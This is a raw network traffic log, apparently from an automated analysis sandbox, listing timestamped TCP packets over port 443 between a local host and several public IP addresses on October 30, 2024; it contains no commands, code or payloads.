Oct 30, 2024 23:11:23.162051916 CET	443	49731	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.162377119 CET	49731	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.162385941 CET	443	49731	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.162796974 CET	49731	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.162803888 CET	443	49731	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.174124002 CET	443	49732	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.174716949 CET	49732	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.174732924 CET	443	49732	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.176032066 CET	49732	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.176037073 CET	443	49732	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.210100889 CET	443	49733	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.210510015 CET	49733	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.210535049 CET	443	49733	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.211170912 CET	49733	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.211177111 CET	443	49733	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.293412924 CET	443	49730	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.293647051 CET	443	49730	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.293735981 CET	49730	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.293767929 CET	49730	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.293777943 CET	443	49730	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.293788910 CET	49730	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.293793917 CET	443	49730	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.293827057 CET	443	49729	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.293883085 CET	443	49729	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.293999910 CET	49729	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.294164896 CET	49729	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.294164896 CET	49729	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.294182062 CET	443	49729	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.294189930 CET	443	49729	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.296376944 CET	443	49731	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.296427965 CET	443	49731	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.296489000 CET	49731	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.296794891 CET	49737	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.296828985 CET	443	49737	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.296886921 CET	49737	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.297060013 CET	49731	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.297066927 CET	49738	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.297069073 CET	443	49731	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.297090054 CET	443	49738	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.297112942 CET	49731	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.297118902 CET	443	49731	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.297178984 CET	49738	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.297215939 CET	49737	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.297228098 CET	443	49737	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.297576904 CET	49738	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.297593117 CET	443	49738	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.299480915 CET	49739	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.299494028 CET	443	49739	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.299551010 CET	49739	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.299669027 CET	49739	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.299675941 CET	443	49739	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.310960054 CET	443	49732	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.311034918 CET	443	49732	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.311074972 CET	49732	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.311403036 CET	49732	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.311414957 CET	443	49732	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.311424971 CET	49732	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.311431885 CET	443	49732	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.313674927 CET	49740	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.313724995 CET	443	49740	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.313859940 CET	49740	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.314027071 CET	49740	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.314054966 CET	443	49740	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.347140074 CET	443	49733	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.347336054 CET	443	49733	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.347389936 CET	49733	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.347539902 CET	49733	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.347558975 CET	443	49733	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.350447893 CET	49741	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.350476027 CET	443	49741	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.350744009 CET	49741	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.350898981 CET	49741	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.350909948 CET	443	49741	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.539422989 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:23.539504051 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:23.541507006 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:23.541518927 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:23.541784048 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:23.591962099 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:23.802750111 CET	49742	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:23.802772999 CET	443	49742	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:23.802957058 CET	49742	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:23.803245068 CET	49742	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:23.803261995 CET	443	49742	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:24.033294916 CET	443	49737	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.035689116 CET	443	49738	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.040225983 CET	443	49739	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.085647106 CET	443	49740	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.085829020 CET	49738	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.090873003 CET	49737	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.090873003 CET	49739	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.105372906 CET	443	49741	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.131078005 CET	49741	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.131091118 CET	443	49741	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.131572008 CET	49741	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.131577015 CET	443	49741	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.132107019 CET	49740	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.132155895 CET	443	49740	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.132529020 CET	49740	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.132543087 CET	443	49740	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.132811069 CET	49737	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.132824898 CET	443	49737	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.133202076 CET	49737	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.133208990 CET	443	49737	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.133681059 CET	49738	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.133708000 CET	443	49738	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.134028912 CET	49738	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.134036064 CET	443	49738	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.134354115 CET	49739	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.134363890 CET	443	49739	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.134727955 CET	49739	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.134738922 CET	443	49739	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.259718895 CET	443	49737	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.259835005 CET	443	49737	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.259917021 CET	49737	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.260063887 CET	49737	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.260081053 CET	443	49737	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.260780096 CET	443	49741	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.260843992 CET	443	49741	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.260891914 CET	49741	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.261770010 CET	443	49738	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.261950970 CET	443	49738	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.262006044 CET	49738	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.262264013 CET	443	49739	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.262324095 CET	443	49739	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.262378931 CET	49739	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.263914108 CET	443	49740	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.264693022 CET	443	49740	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.264810085 CET	49740	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.276760101 CET	49738	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.276788950 CET	443	49738	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.276810884 CET	49738	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.276819944 CET	443	49738	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.279858112 CET	49739	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.279858112 CET	49739	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.279884100 CET	443	49739	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.279895067 CET	443	49739	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.281485081 CET	49740	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.281526089 CET	443	49740	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.285226107 CET	49741	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.285239935 CET	443	49741	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.285252094 CET	49741	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.285259008 CET	443	49741	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.287725925 CET	49745	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.287763119 CET	443	49745	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.287837982 CET	49745	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.288027048 CET	49746	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.288053036 CET	443	49746	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.288180113 CET	49746	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.289547920 CET	49745	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.289573908 CET	443	49745	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.289882898 CET	49746	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.289897919 CET	443	49746	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.291873932 CET	49747	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.291898966 CET	443	49747	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.291985035 CET	49747	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.292246103 CET	49747	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.292268038 CET	443	49747	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.296719074 CET	49748	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.296741962 CET	443	49748	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.296907902 CET	49748	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.297688007 CET	49748	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.297704935 CET	443	49748	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.298728943 CET	49749	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.298768997 CET	443	49749	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.298844099 CET	49749	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.299227953 CET	49749	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:24.299243927 CET	443	49749	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:24.437067032 CET	49752	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:24.437100887 CET	443	49752	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:24.437172890 CET	49752	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:24.438364029 CET	49752	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:24.438378096 CET	443	49752	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:24.462001085 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:24.462035894 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:24.462088108 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:24.462261915 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:24.462272882 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:24.517764091 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:24.559334040 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:24.683335066 CET	443	49742	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:24.683645964 CET	49742	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:24.683660030 CET	443	49742	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:24.684711933 CET	443	49742	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:24.684813023 CET	49742	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:24.685317039 CET	49742	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:24.685385942 CET	443	49742	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:24.731296062 CET	49742	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:24.731318951 CET	443	49742	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:24.777678013 CET	49742	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:24.824822903 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:24.824848890 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:24.824852943 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:24.824877024 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:24.824898958 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:24.824925900 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:24.824959040 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:24.824981928 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:24.824997902 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:24.825685024 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:24.825754881 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:24.825763941 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:24.833224058 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:24.833304882 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:25.015599966 CET	443	49745	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.016184092 CET	49745	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.016223907 CET	443	49745	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.016635895 CET	49745	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.016644955 CET	443	49745	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.035356998 CET	443	49748	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.035777092 CET	49748	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.035806894 CET	443	49748	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.036216974 CET	49748	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.036221981 CET	443	49748	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.038332939 CET	443	49747	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.038672924 CET	49747	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.038700104 CET	443	49747	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.039088011 CET	49747	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.039094925 CET	443	49747	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.043688059 CET	443	49746	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.044012070 CET	49746	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.044029951 CET	443	49746	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.044667006 CET	49746	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.044672966 CET	443	49746	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.047832966 CET	443	49749	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.048140049 CET	49749	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.048152924 CET	443	49749	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.048549891 CET	49749	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.048556089 CET	443	49749	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.146537066 CET	443	49745	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.147023916 CET	443	49745	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.147088051 CET	49745	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.147208929 CET	49745	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.147237062 CET	443	49745	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.147252083 CET	49745	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.147259951 CET	443	49745	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.150968075 CET	49757	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.151005983 CET	443	49757	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.151072979 CET	49757	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.151213884 CET	49757	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.151230097 CET	443	49757	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.168899059 CET	443	49748	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.169142008 CET	443	49748	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.169226885 CET	49748	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.169258118 CET	49748	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.169276953 CET	443	49748	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.169291019 CET	49748	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.169297934 CET	443	49748	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.171050072 CET	443	49747	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.171603918 CET	443	49747	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.171653032 CET	49747	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.171688080 CET	49747	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.171696901 CET	443	49747	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.171727896 CET	49747	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.171734095 CET	443	49747	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.171890020 CET	49758	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.171932936 CET	443	49758	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.172153950 CET	49758	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.172370911 CET	49758	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.172383070 CET	443	49758	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.173701048 CET	49759	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.173734903 CET	443	49759	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.173896074 CET	49759	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.174199104 CET	49759	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.174215078 CET	443	49759	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.175030947 CET	443	49746	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.175127029 CET	443	49746	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.175178051 CET	49746	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.175331116 CET	49746	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.175331116 CET	49746	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.175343037 CET	443	49746	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.175354004 CET	443	49746	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.177191973 CET	49760	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.177212000 CET	443	49760	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.177527905 CET	49760	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.177661896 CET	49760	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.177675962 CET	443	49760	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.182405949 CET	443	49749	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.182594061 CET	443	49749	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.182672024 CET	49749	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.182702065 CET	49749	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.182715893 CET	443	49749	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.182735920 CET	49749	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.182744980 CET	443	49749	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.184660912 CET	49761	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.184683084 CET	443	49761	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.184791088 CET	49761	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.184891939 CET	49761	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.184909105 CET	443	49761	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.297377110 CET	443	49752	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:25.297440052 CET	49752	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:25.305911064 CET	49752	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:25.305924892 CET	443	49752	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:25.306310892 CET	443	49752	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:25.329109907 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.337909937 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.337934017 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.339049101 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.339107037 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.346460104 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.346585035 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.346960068 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.346966028 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.356785059 CET	49752	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:25.356976032 CET	49752	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:25.388014078 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.399322987 CET	443	49752	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:25.463700056 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:25.463742971 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:25.463829994 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:25.464032888 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:25.464049101 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:25.494175911 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:25.494200945 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:25.494214058 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:25.494220018 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:25.596621990 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.596673965 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.596713066 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.596750021 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.596774101 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.596788883 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.596801996 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.597091913 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.597384930 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.597392082 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.601480961 CET	443	49752	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:25.601548910 CET	443	49752	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:25.601623058 CET	49752	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:25.602157116 CET	49752	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:25.602170944 CET	443	49752	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:25.602186918 CET	49752	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:25.602191925 CET	443	49752	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:25.604299068 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.604361057 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.604370117 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.653620958 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.653635025 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.659176111 CET	49766	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:25.659214973 CET	443	49766	184.28.90.27	192.168.2.5
